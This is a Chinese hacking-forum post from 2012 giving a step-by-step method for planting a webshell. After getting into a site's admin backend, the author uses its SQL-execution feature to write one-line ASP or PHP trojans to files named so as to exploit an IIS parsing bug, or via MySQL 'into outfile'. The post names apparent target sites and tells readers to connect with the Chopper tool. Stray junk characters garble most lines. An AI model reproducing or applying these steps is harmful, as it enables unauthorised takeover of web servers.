找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1896|回复: 0
打印 上一主题 下一主题

ACCESS执行SQL命令导出一句话SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好不容易进了后台,发现啥上传啊。备份啊多木有。5 r& c/ H% }* n2 e
webshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的0 ]9 k" d6 x0 L* m3 B# \' `
文件。可后台没显示这功能。直接填上文件名字,执行命令的选项出来了,
% h9 V8 O) L  k7 Z/ Z( t然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下:
$ j' K# f9 L, Q8 k1.create table cmd (a varchar(50))& B/ g1 Q- X/ I* M7 g5 G
2.insert into cmd (a) values (‘‘)
! M1 P+ e2 u: S$ W4 L3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
7 z2 Y5 g5 _: ~, g  f) S- l(把表cmd的内容导出为物理路径的一个EXCEL文件)
$ \. a8 Y" F$ t9 S4.drop table cmd5 c5 B5 B8 E/ p  E
利用IIS的BUG成功拿到了WEBSHELL。1 W- \8 d( M6 s0 q, D2 }
7 x4 ]. v1 I  q% [! M' w  |3 Y
直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话1 V3 b" {$ y" \( w( p  b

8 O$ P8 t  o% i3 Q. `0 ]  SQL语句意思解释:) \, U, P8 f  X4 v! @% }$ y% d
  第一句
4 h( e' P; W* z( \/ N  建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
+ L) e/ Y/ M% G3 O9 s2 f% H, A+ q7 a2 s
  第二句2 u6 U8 d) b# s
  在表cmd的a字段插入一句话木马6 N2 p$ w9 M; }1 j* ?3 |5 X
  第三句" b7 d& B9 ]# B3 d+ x
  把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
, c% v! c9 k. ]  F$ O' d2 D3 h' l4 s3 }
  第四句! O% o4 @3 |; p' K# }* B. i0 e1 x
  删除建立的cmd表4 E: q0 R, ~. ]! \- A$ ?  t; {+ u
3 {# K8 H! P4 G4 f# F) x: }
  以下内容为测试:
$ Y$ |( d, S* q  Access利用后台SQL执行命令功能导出WebShell:
) ~% d: a6 q/ @3 X/ c9 U$ S" N  这个更简单:
) _+ ~' {; \9 v6 w/ N4 l+ J) y+ k9 }& e  [ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]4 S% [/ F7 @( e7 m9 Z" o/ B
  或者2 s. `  o7 I2 `" A
  [ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]$ T! s3 m! Y) Z: t
% L# i* L* s/ a
  后台有执行SQL语句功能(vote为已知表段)
7 {5 B$ k  N" G  S1 u- Q  希望对大家有所帮助拿shell的又一个思路
( b- [) u% D2 m7 B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表